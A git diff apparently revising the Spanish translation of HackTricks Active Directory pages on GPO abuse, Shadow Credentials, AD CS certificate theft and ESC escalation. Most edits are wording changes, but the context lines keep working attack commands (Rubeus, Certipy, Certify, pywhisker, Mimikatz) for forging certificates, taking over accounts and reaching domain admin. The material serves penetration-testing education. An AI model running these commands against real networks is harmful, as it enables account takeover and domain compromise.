 Los GPO mal configurados pueden ser explotados para ejecutar código, por ejemplo, creando una tarea programada inmediata. Esto se puede hacer para agregar un usuario al grupo de administradores locales en las máquinas afectadas, elevando significativamente los privilegios:
 ```powershell
@@ -159,7 +159,7 @@ Los GPO también permiten la manipulación de membresías de usuarios y grupos e
 
 El archivo de configuración XML para Usuarios y Grupos detalla cómo se implementan estos cambios. Al agregar entradas a este archivo, se pueden otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios a través de la manipulación de GPO.
 
-Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autoruns, instalar software a través de archivos .msi, o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener el acceso y controlar sistemas objetivo a través del abuso de GPOs.
+Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autorun, instalar software a través de archivos .msi, o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener el acceso y controlar sistemas objetivo a través del abuso de GPOs.
 
 ## Referencias
 
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
index f11edbacb..c051aa65d 100644
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
@@ -10,7 +10,7 @@ Como **resumen**: si puedes escribir en la propiedad **msDS-KeyCredentialLink**
 
 En la publicación, se describe un método para configurar **credenciales de autenticación de clave pública-privada** para adquirir un **Ticket de Servicio** único que incluye el hash NTLM del objetivo. Este proceso involucra el NTLM_SUPPLEMENTAL_CREDENTIAL cifrado dentro del Certificado de Atributo de Privilegio (PAC), que puede ser descifrado.
 
-### Requirements
+### Requisitos
 
 Para aplicar esta técnica, deben cumplirse ciertas condiciones:
 
@@ -19,7 +19,7 @@ Para aplicar esta técnica, deben cumplirse ciertas condiciones:
 - El Active Directory debe estar en el Nivel Funcional de Windows Server 2016.
 - Se requiere una cuenta con derechos delegados para modificar el atributo msDS-KeyCredentialLink del objeto objetivo.
 
-## Abuse
+## Abuso
 
 El abuso de Key Trust para objetos de computadora abarca pasos más allá de obtener un Ticket Granting Ticket (TGT) y el hash NTLM. Las opciones incluyen:
 
@@ -28,11 +28,11 @@ El abuso de Key Trust para objetos de computadora abarca pasos más allá de obt
 
 Una ventaja significativa del abuso de Key Trust es su limitación a la clave privada generada por el atacante, evitando la delegación a cuentas potencialmente vulnerables y no requiriendo la creación de una cuenta de computadora, lo que podría ser difícil de eliminar.
 
-## Tools
+## Herramientas
 
 ### [**Whisker**](https://github.com/eladshamir/Whisker)
 
-Se basa en DSInternals proporcionando una interfaz C# para este ataque. Whisker y su contraparte en Python, **pyWhisker**, permiten la manipulación del atributo `msDS-KeyCredentialLink` para obtener control sobre las cuentas de Active Directory. Estas herramientas soportan varias operaciones como agregar, listar, eliminar y limpiar credenciales clave del objeto objetivo.
+Se basa en DSInternals proporcionando una interfaz C# para este ataque. Whisker y su contraparte en Python, **pyWhisker**, permiten la manipulación del atributo `msDS-KeyCredentialLink` para obtener control sobre cuentas de Active Directory. Estas herramientas soportan varias operaciones como agregar, listar, eliminar y limpiar credenciales clave del objeto objetivo.
 
 Las funciones de **Whisker** incluyen:
 
@@ -51,9 +51,9 @@ python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target
 ```
 ### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
 
-ShadowSpray tiene como objetivo **explotar los permisos GenericWrite/GenericAll que amplios grupos de usuarios pueden tener sobre objetos de dominio** para aplicar ShadowCredentials de manera amplia. Implica iniciar sesión en el dominio, verificar el nivel funcional del dominio, enumerar objetos de dominio e intentar agregar KeyCredentials para la adquisición de TGT y la revelación de hash NT. Las opciones de limpieza y las tácticas de explotación recursiva mejoran su utilidad.
+ShadowSpray tiene como objetivo **explotar los permisos GenericWrite/GenericAll que amplios grupos de usuarios pueden tener sobre objetos de dominio** para aplicar ShadowCredentials de manera amplia. Implica iniciar sesión en el dominio, verificar el nivel funcional del dominio, enumerar objetos de dominio e intentar agregar KeyCredentials para la adquisición de TGT y la revelación del hash NT. Las opciones de limpieza y las tácticas de explotación recursiva mejoran su utilidad.
 
-## References
+## Referencias
 
 - [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
 - [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md
index 4adbdd6e9..68d7fcea3 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates.md
@@ -37,7 +37,7 @@ AD CS reconoce los certificados de CA en un bosque de AD a través de contenedor
 3. La CA evalúa el CSR en función de las plantillas de certificados disponibles, emitiendo el certificado según los permisos de la plantilla.
 4. Tras la aprobación, la CA firma el certificado con su clave privada y se lo devuelve al cliente.
 
-### Plantillas de Certificados
+### Plantillas de Certificado
 
 Definidas dentro de AD, estas plantillas describen la configuración y permisos para emitir certificados, incluyendo EKUs permitidos y derechos de inscripción o modificación, críticos para gestionar el acceso a los servicios de certificados.
 
@@ -47,19 +47,19 @@ El proceso de inscripción para certificados es iniciado por un administrador qu
 
 Para que un cliente solicite un certificado, deben otorgarse **derechos de inscripción**. Estos derechos están definidos por descriptores de seguridad en la plantilla de certificado y en la CA Empresarial misma. Los permisos deben otorgarse en ambos lugares para que una solicitud sea exitosa.
 
-### Derechos de Inscripción de Plantillas
+### Derechos de Inscripción de Plantilla
 
 Estos derechos se especifican a través de Entradas de Control de Acceso (ACEs), detallando permisos como:
 
 - Derechos de **Inscripción de Certificado** y **Autoinscripción de Certificado**, cada uno asociado con GUIDs específicos.
 - **Derechos Extendidos**, que permiten todos los permisos extendidos.
-- **ControlTotal/TodosGenéricos**, proporcionando control completo sobre la plantilla.
+- **ControlTotal/TodosGenericos**, proporcionando control completo sobre la plantilla.
 
 ### Derechos de Inscripción de CA Empresarial
 
 Los derechos de la CA están delineados en su descriptor de seguridad, accesible a través de la consola de gestión de la Autoridad de Certificación. Algunas configuraciones incluso permiten a usuarios con bajos privilegios acceso remoto, lo que podría ser una preocupación de seguridad.
 
-### Controles Adicionales de Emisión
+### Controles de Emisión Adicionales
 
 Ciertos controles pueden aplicarse, como:
 
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
index 05fc8456f..42947dea0 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
@@ -26,18 +26,18 @@
 AD CS reconoce los certificados de CA en un bosque de AD a través de contenedores designados, cada uno con roles únicos:
 
 - El contenedor de **Autoridades de Certificación** contiene certificados de CA raíz de confianza.
-- El contenedor de **Servicios de Inscripción** detalla las CAs Empresariales y sus plantillas de certificados.
+- El contenedor de **Servicios de Inscripción** detalla las CAs empresariales y sus plantillas de certificados.
 - El objeto **NTAuthCertificates** incluye certificados de CA autorizados para la autenticación de AD.
 - El contenedor de **AIA (Acceso a Información de Autoridad)** facilita la validación de la cadena de certificados con certificados de CA intermedios y cruzados.
 
 ### Adquisición de Certificados: Flujo de Solicitud de Certificado del Cliente
 
-1. El proceso de solicitud comienza con los clientes encontrando una CA Empresarial.
+1. El proceso de solicitud comienza con los clientes encontrando una CA empresarial.
 2. Se crea un CSR, que contiene una clave pública y otros detalles, después de generar un par de claves pública-privada.
 3. La CA evalúa el CSR en función de las plantillas de certificados disponibles, emitiendo el certificado según los permisos de la plantilla.
 4. Tras la aprobación, la CA firma el certificado con su clave privada y se lo devuelve al cliente.
 
-### Plantillas de Certificados
+### Plantillas de Certificado
 
 Definidas dentro de AD, estas plantillas describen la configuración y permisos para emitir certificados, incluyendo EKUs permitidos y derechos de inscripción o modificación, críticos para gestionar el acceso a los servicios de certificados.
 
@@ -45,13 +45,13 @@ Definidas dentro de AD, estas plantillas describen la configuración y permisos
 
 El proceso de inscripción para certificados es iniciado por un administrador que **crea una plantilla de certificado**, que luego es **publicada** por una Autoridad de Certificación Empresarial (CA). Esto hace que la plantilla esté disponible para la inscripción del cliente, un paso logrado al agregar el nombre de la plantilla al campo `certificatetemplates` de un objeto de Active Directory.
 
-Para que un cliente solicite un certificado, deben otorgarse **derechos de inscripción**. Estos derechos están definidos por descriptores de seguridad en la plantilla de certificado y en la CA Empresarial misma. Los permisos deben otorgarse en ambas ubicaciones para que una solicitud sea exitosa.
+Para que un cliente solicite un certificado, deben otorgarse **derechos de inscripción**. Estos derechos están definidos por descriptores de seguridad en la plantilla de certificado y en la CA empresarial misma. Los permisos deben otorgarse en ambas ubicaciones para que una solicitud sea exitosa.
 
 ### Derechos de Inscripción de Plantilla
 
 Estos derechos se especifican a través de Entradas de Control de Acceso (ACEs), detallando permisos como:
 
-- Derechos de **Inscripción de Certificado** y **Autoinscripción de Certificado**, cada uno asociado con GUIDs específicos.
+- Derechos de **Inscripción de Certificado** y **AutoInscripción de Certificado**, cada uno asociado con GUIDs específicos.
 - **Derechos Extendidos**, que permiten todos los permisos extendidos.
 - **ControlTotal/GenericAll**, proporcionando control completo sobre la plantilla.
 
@@ -70,7 +70,7 @@ Ciertos controles pueden aplicarse, como:
 
 Los certificados se pueden solicitar a través de:
 
-1. **Protocolo de Inscripción de Certificados de Cliente de Windows** (MS-WCCE), utilizando interfaces DCOM.
+1. **Protocolo de Inscripción de Certificado de Cliente de Windows** (MS-WCCE), utilizando interfaces DCOM.
 2. **Protocolo Remoto ICertPassage** (MS-ICPR), a través de pipes nombrados o TCP/IP.
 3. La **interfaz web de inscripción de certificados**, con el rol de Inscripción Web de la Autoridad de Certificación instalado.
 4. El **Servicio de Inscripción de Certificados** (CES), en conjunto con el servicio de Política de Inscripción de Certificados (CEP).
@@ -81,9 +81,9 @@ Los usuarios de Windows también pueden solicitar certificados a través de la G
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Autenticación de Certificados
+## Autenticación por Certificado
 
-Active Directory (AD) admite la autenticación de certificados, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**.
+Active Directory (AD) admite la autenticación por certificado, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**.
 
 ### Proceso de Autenticación Kerberos
 
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
index af33b0ba1..2a5198e99 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md
@@ -6,7 +6,7 @@
 
 ## ¿Qué puedo hacer con un certificado?
 
-Antes de revisar cómo robar los certificados, aquí tienes información sobre cómo encontrar para qué es útil el certificado:
+Antes de verificar cómo robar los certificados, aquí tienes información sobre cómo encontrar para qué es útil el certificado:
 ```powershell
 # Powershell
 $CertPath = "C:\path\to\cert.pfx"
@@ -18,13 +18,13 @@ $Cert.EnhancedKeyUsageList
 # cmd
 certutil.exe -dump -v cert.pfx
 ```
-## Exportando Certificados Usando las API Crypto – THEFT1
+## Exportando Certificados Usando las APIs Crypto – THEFT1
 
 En una **sesión de escritorio interactiva**, extraer un certificado de usuario o de máquina, junto con la clave privada, se puede hacer fácilmente, particularmente si la **clave privada es exportable**. Esto se puede lograr navegando al certificado en `certmgr.msc`, haciendo clic derecho sobre él y seleccionando `All Tasks → Export` para generar un archivo .pfx protegido por contraseña.
 
-Para un **enfoque programático**, están disponibles herramientas como el cmdlet de PowerShell `ExportPfxCertificate` o proyectos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Estas utilizan la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) para interactuar con el almacén de certificados. Estas API proporcionan una gama de servicios criptográficos, incluidos los necesarios para el almacenamiento y la autenticación de certificados.
+Para un **enfoque programático**, hay herramientas como el cmdlet de PowerShell `ExportPfxCertificate` o proyectos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Estas utilizan la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) para interactuar con el almacén de certificados. Estas APIs proporcionan una gama de servicios criptográficos, incluidos los necesarios para el almacenamiento y la autenticación de certificados.
 
-Sin embargo, si una clave privada está configurada como no exportable, tanto CAPI como CNG normalmente bloquearán la extracción de tales certificados. Para eludir esta restricción, se pueden emplear herramientas como **Mimikatz**. Mimikatz ofrece comandos `crypto::capi` y `crypto::cng` para parchear las respectivas API, permitiendo la exportación de claves privadas. Específicamente, `crypto::capi` parchea el CAPI dentro del proceso actual, mientras que `crypto::cng` apunta a la memoria de **lsass.exe** para el parcheo.
+Sin embargo, si una clave privada está configurada como no exportable, tanto CAPI como CNG normalmente bloquearán la extracción de tales certificados. Para eludir esta restricción, se pueden emplear herramientas como **Mimikatz**. Mimikatz ofrece comandos `crypto::capi` y `crypto::cng` para parchear las respectivas APIs, permitiendo la exportación de claves privadas. Específicamente, `crypto::capi` parchea el CAPI dentro del proceso actual, mientras que `crypto::cng` apunta a la memoria de **lsass.exe** para el parcheo.
 
 ## Robo de Certificados de Usuario a través de DPAPI – THEFT2
 
@@ -70,16 +70,16 @@ La desencriptación manual se puede lograr ejecutando el comando `lsadump::secre
 
 ## Encontrando Archivos de Certificados – THEFT4
 
-Los certificados a veces se encuentran directamente dentro del sistema de archivos, como en recursos compartidos de archivos o en la carpeta de Descargas. Los tipos de archivos de certificados más comúnmente encontrados dirigidos a entornos de Windows son los archivos `.pfx` y `.p12`. Aunque con menos frecuencia, también aparecen archivos con las extensiones `.pkcs12` y `.pem`. Otras extensiones de archivo relacionadas con certificados que son notables incluyen:
+Los certificados a veces se encuentran directamente dentro del sistema de archivos, como en recursos compartidos de archivos o en la carpeta de Descargas. Los tipos de archivos de certificados más comúnmente encontrados dirigidos a entornos de Windows son los archivos `.pfx` y `.p12`. Aunque con menos frecuencia, también aparecen archivos con extensiones `.pkcs12` y `.pem`. Otras extensiones de archivo relacionadas con certificados que son dignas de mención incluyen:
 
 - `.key` para claves privadas,
-- `.crt`/`.cer` solo para certificados,
+- `.crt`/`.cer` para certificados solamente,
 - `.csr` para Solicitudes de Firma de Certificado, que no contienen certificados ni claves privadas,
 - `.jks`/`.keystore`/`.keys` para Almacenes de Claves de Java, que pueden contener certificados junto con claves privadas utilizadas por aplicaciones Java.
 
 Estos archivos se pueden buscar utilizando PowerShell o el símbolo del sistema buscando las extensiones mencionadas.
 
-En casos donde se encuentra un archivo de certificado PKCS#12 y está protegido por una contraseña, la extracción de un hash es posible mediante el uso de `pfx2john.py`, disponible en [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Posteriormente, se puede emplear JohnTheRipper para intentar descifrar la contraseña.
+En casos donde se encuentra un archivo de certificado PKCS#12 y está protegido por una contraseña, la extracción de un hash es posible a través del uso de `pfx2john.py`, disponible en [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Posteriormente, se puede emplear JohnTheRipper para intentar descifrar la contraseña.
 ```powershell
 # Example command to search for certificate files in PowerShell
 Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
index b2bbbfee7..d2e19f6dd 100644
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
@@ -2,6 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
+
 **Este es un resumen de las secciones de técnicas de escalación de las publicaciones:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
@@ -19,8 +20,8 @@
 - **No se necesitan firmas de personal autorizado.**
 - **Los descriptores de seguridad en las plantillas de certificado son excesivamente permisivos, permitiendo a usuarios de bajo privilegio obtener derechos de inscripción.**
 - **Las plantillas de certificado están configuradas para definir EKUs que facilitan la autenticación:**
-- Se incluyen identificadores de Uso de Clave Extendida (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA).
-- **La capacidad para que los solicitantes incluyan un subjectAltName en la Solicitud de Firma de Certificado (CSR) es permitida por la plantilla:**
+- Se incluyen identificadores de Uso Extendido de Clave (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA).
+- **La plantilla permite a los solicitantes incluir un subjectAltName en la Solicitud de Firma de Certificado (CSR):**
 - Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para suplantar a cualquier usuario (por ejemplo, un administrador de dominio). Si un SAN puede ser especificado por el solicitante se indica en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante.
 
 > [!CAUTION]
@@ -28,7 +29,7 @@
 
 Esta característica a veces se habilita para soportar la generación en tiempo real de certificados HTTPS o de host por productos o servicios de implementación, o debido a una falta de comprensión.
 
-Se señala que crear un certificado con esta opción activa un aviso, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene habilitado `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) y luego se modifica para incluir un OID de autenticación.
+Se observa que crear un certificado con esta opción activa un aviso, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene habilitado `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) y luego se modifica para incluir un OID de autenticación.
 
 ### Abuso
 
@@ -47,7 +48,7 @@ Luego puedes transformar el **certificado generado a formato `.pfx`** y usarlo p
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-Los binarios de Windows "Certreq.exe" y "Certutil.exe" se pueden usar para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+Los binarios de Windows "Certreq.exe" y "Certutil.exe" se pueden utilizar para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
 La enumeración de plantillas de certificados dentro del esquema de configuración del bosque de AD, específicamente aquellas que no requieren aprobación o firmas, que poseen un EKU de Autenticación de Cliente o Inicio de Sesión con Tarjeta Inteligente, y con la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, se puede realizar ejecutando la siguiente consulta LDAP:
 ```
@@ -79,7 +80,7 @@ Para enumerar las plantillas que coinciden con este escenario dentro del esquema
 
 ### Explicación
 
-Este escenario es como el primero y el segundo, pero **abusando** de un **EKU** diferente (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos).
+Este escenario es como el primero y el segundo, pero **abusando** de un **EKU** **diferente** (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos),
 
 El **EKU de Agente de Solicitud de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Agente de Inscripción** en la documentación de Microsoft, permite a un principal **inscribirse** para un **certificado** en **nombre de otro usuario**.
 
@@ -87,7 +88,7 @@ El **“agente de inscripción”** se inscribe en tal **plantilla** y utiliza e
 
 **Requisitos 1:**
 
-- Se otorgan derechos de inscripción a usuarios de bajo privilegio por la CA Empresarial.
+- Los derechos de inscripción son otorgados a usuarios de bajo privilegio por la CA Empresarial.
 - Se omite el requisito de aprobación del gerente.
 - No hay requisito de firmas autorizadas.
 - El descriptor de seguridad de la plantilla de certificado es excesivamente permisivo, otorgando derechos de inscripción a usuarios de bajo privilegio.
@@ -97,7 +98,7 @@ El **“agente de inscripción”** se inscribe en tal **plantilla** y utiliza e
 
 - La CA Empresarial otorga derechos de inscripción a usuarios de bajo privilegio.
 - Se omite la aprobación del gerente.
-- La versión del esquema de la plantilla es 1 o supera 2, y especifica un Requisito de Emisión de Política de Aplicación que requiere el EKU de Agente de Solicitud de Certificado.
+- La versión del esquema de la plantilla es 1 o excede 2, y especifica un Requisito de Emisión de Política de Aplicación que requiere el EKU de Agente de Solicitud de Certificado.
 - Un EKU definido en la plantilla de certificado permite la autenticación de dominio.
 - No se aplican restricciones para agentes de inscripción en la CA.
 
@@ -117,9 +118,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Los **usuarios** que están autorizados para **obtener** un **certificado de agente de inscripción**, las plantillas en las que se permite a los **agentes** de inscripción inscribirse, y las **cuentas** en nombre de las cuales el agente de inscripción puede actuar pueden ser restringidos por las CA empresariales. Esto se logra abriendo el **complemento** `certsrc.msc`, **haciendo clic derecho en la CA**, **haciendo clic en Propiedades**, y luego **navegando** a la pestaña “Agentes de Inscripción”.
+Los **usuarios** que están autorizados a **obtener** un **certificado de agente de inscripción**, las plantillas en las que se permite a los **agentes** de inscripción inscribirse, y las **cuentas** en nombre de las cuales el agente de inscripción puede actuar pueden ser restringidos por las CA empresariales. Esto se logra abriendo el `certsrc.msc` **complemento**, **haciendo clic derecho en la CA**, **haciendo clic en Propiedades**, y luego **navegando** a la pestaña “Agentes de Inscripción”.
 
-Sin embargo, se observa que la configuración **predeterminada** para las CA es “**No restringir agentes de inscripción**.” Cuando la restricción sobre los agentes de inscripción es habilitada por los administradores, configurándola a “Restringir agentes de inscripción,” la configuración predeterminada sigue siendo extremadamente permisiva. Permite el acceso a **Todos** para inscribirse en todas las plantillas como cualquier persona.
+Sin embargo, se observa que la configuración **predeterminada** para las CA es “**No restringir agentes de inscripción**.” Cuando la restricción sobre los agentes de inscripción es habilitada por los administradores, configurándola en “Restringir agentes de inscripción,” la configuración predeterminada sigue siendo extremadamente permisiva. Permite el acceso a **Todos** para inscribirse en todas las plantillas como cualquier persona.
 
 ## Control de Acceso a Plantillas de Certificado Vulnerables - ESC4
 
@@ -127,15 +128,15 @@ Sin embargo, se observa que la configuración **predeterminada** para las CA es
 
 El **descriptor de seguridad** en las **plantillas de certificado** define los **permisos** específicos que los **principales de AD** poseen con respecto a la plantilla.
 
-Si un **atacante** posee los **permisos** requeridos para **alterar** una **plantilla** e **instituir** cualquier **mala configuración explotable** descrita en **secciones anteriores**, se podría facilitar la escalada de privilegios.
+Si un **atacante** posee los **permisos** necesarios para **alterar** una **plantilla** e **instituir** cualquier **mala configuración explotable** descrita en **secciones anteriores**, se podría facilitar la escalada de privilegios.
 
 Los permisos notables aplicables a las plantillas de certificado incluyen:
 
-- **Propietario:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo.
-- **ControlTotal:** Habilita autoridad completa sobre el objeto, incluyendo la capacidad de alterar cualquier atributo.
-- **EscribirPropietario:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante.
-- **EscribirDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante ControlTotal.
-- **EscribirPropiedad:** Autoriza la edición de cualquier propiedad del objeto.
+- **Owner:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo.
+- **FullControl:** Habilita autoridad completa sobre el objeto, incluyendo la capacidad de alterar cualquier atributo.
+- **WriteOwner:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante.
+- **WriteDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante FullControl.
+- **WriteProperty:** Autoriza la edición de cualquier propiedad del objeto.
 
 ### Abuso
 
@@ -149,7 +150,7 @@ Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, per
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el **`-save-old` parámetro para guardar la configuración antigua**, lo cual será útil para **restaurar** la configuración después de nuestro ataque.
+**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el **parámetro `-save-old` para guardar la configuración antigua**, lo que será útil para **restaurar** la configuración después de nuestro ataque.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -231,7 +232,7 @@ La simplificación de este proceso se puede lograr mediante el uso del cmdlet **
 
 La posesión de derechos de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de "aprobación del gerente de certificados de CA".
 
-Se puede utilizar una combinación de los módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado:
+Se puede utilizar una combinación de módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado:
 ```powershell
 # Request a certificate that will require an approval
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@@ -259,8 +260,8 @@ Por lo tanto, aquí se presenta otro ataque.
 Requisitos previos:
 
 - Solo permiso **`ManageCA`**
-- Permiso **`Manage Certificates`** (se puede otorgar desde **`ManageCA`**)
-- La plantilla de certificado **`SubCA`** debe estar **habilitada** (se puede habilitar desde **`ManageCA`**)
+- Permiso **`Manage Certificates`** (puede ser otorgado desde **`ManageCA`**)
+- La plantilla de certificado **`SubCA`** debe estar **habilitada** (puede ser habilitada desde **`ManageCA`**)
 
 La técnica se basa en el hecho de que los usuarios con el derecho de acceso **`Manage CA`** _y_ **`Manage Certificates`** pueden **emitir solicitudes de certificado fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administradores** pueden inscribirse en la plantilla. Así, un **usuario** puede **solicitar** inscribirse en la **`SubCA`** - lo cual será **denegado** - pero **luego emitido por el gerente posteriormente**.
 
@@ -273,7 +274,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully added officer 'John' on 'corp-DC-CA'
 ```
-El **`SubCA`** template puede ser **habilitado en la CA** con el parámetro `-enable-template`. Por defecto, el template `SubCA` está habilitado.
+El **`SubCA`** template se puede **habilitar en la CA** con el parámetro `-enable-template`. Por defecto, el template `SubCA` está habilitado.
 ```bash
 # List templates
 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@@ -405,7 +406,7 @@ Las condiciones bajo las cuales la configuración de esta bandera se vuelve sign
 
 - `StrongCertificateBindingEnforcement` no se ajusta a `2` (siendo la predeterminada `1`), o `CertificateMappingMethods` incluye la bandera `UPN`.
 - El certificado está marcado con la bandera `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración de `msPKI-Enrollment-Flag`.
-- Cualquier EKU de autenticación de cliente es especificado por el certificado.
+- Cualquier EKU de autenticación de cliente está especificado por el certificado.
 - Los permisos `GenericWrite` están disponibles sobre cualquier cuenta para comprometer a otra.
 
 ### Escenario de Abuso
@@ -457,7 +458,7 @@ Si `CertificateMappingMethods` incluye el bit `UPN` (`0x4`).
 
 Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos de `GenericWrite` puede ser explotada para comprometer cualquier cuenta B.
 
-Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo utilizar cualquier plantilla de certificado.
+Por ejemplo, teniendo permisos de `GenericWrite` sobre `Jane@corp.local`, un atacante busca comprometer `Administrator@corp.local`. El procedimiento refleja ESC9, permitiendo que se utilice cualquier plantilla de certificado.
 
 Inicialmente, el hash de `Jane` se recupera utilizando Credenciales en Sombra, explotando el `GenericWrite`.
 ```bash
@@ -503,7 +504,7 @@ Para autenticar a través de Schannel, se utiliza la opción `-ldap-shell` de Ce
 ```bash
 certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
 ```
-A través de la shell LDAP, comandos como `set_rbcd` habilitan ataques de Delegación Constrainada Basada en Recursos (RBCD), comprometiendo potencialmente el controlador de dominio.
+A través de la shell LDAP, comandos como `set_rbcd` habilitan ataques de Delegación Constrainida Basada en Recursos (RBCD), comprometiendo potencialmente el controlador de dominio.
 ```bash
